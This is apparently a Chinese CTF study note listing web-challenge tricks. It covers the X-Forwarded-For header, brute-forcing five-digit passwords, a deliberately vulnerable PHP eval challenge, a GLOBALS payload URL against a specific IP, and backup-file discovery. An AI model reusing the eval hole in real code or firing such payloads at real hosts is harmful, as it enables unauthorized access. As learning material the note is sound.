知识汇总

1.X-Forwarded-For
  X-Forwarded-For:简称XFF头，它代表客户端，也就是HTTP的请求端真实的IP，只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。它不是RFC中定义的标准请求头信息，在squid缓存代理服务器开发文档中可以找到该项的详细介绍。

2.五位数密码爆破就vans

3.

flag In the variable ! <?php  

error_reporting(0);// 关闭php错误显示
include "flag1.php";// 引入flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){// 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^w+$/",$args)){// 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符，就是任意大小写字母和0到9以及下划线组成
        die("args error!");
    }
    eval("var_dump($$args);");// 这边告诉我们这题是代码审计的题目
}
?>

$GLOBALS：一个包含了全部变量的全局组合数组

payload:http://123.206.87.240:8004/index1.php?args=GLOBALS

4.文件包含漏洞https://blog.csdn.net/zpy1998zpy/article/details/80585443

5.备份文件为.bak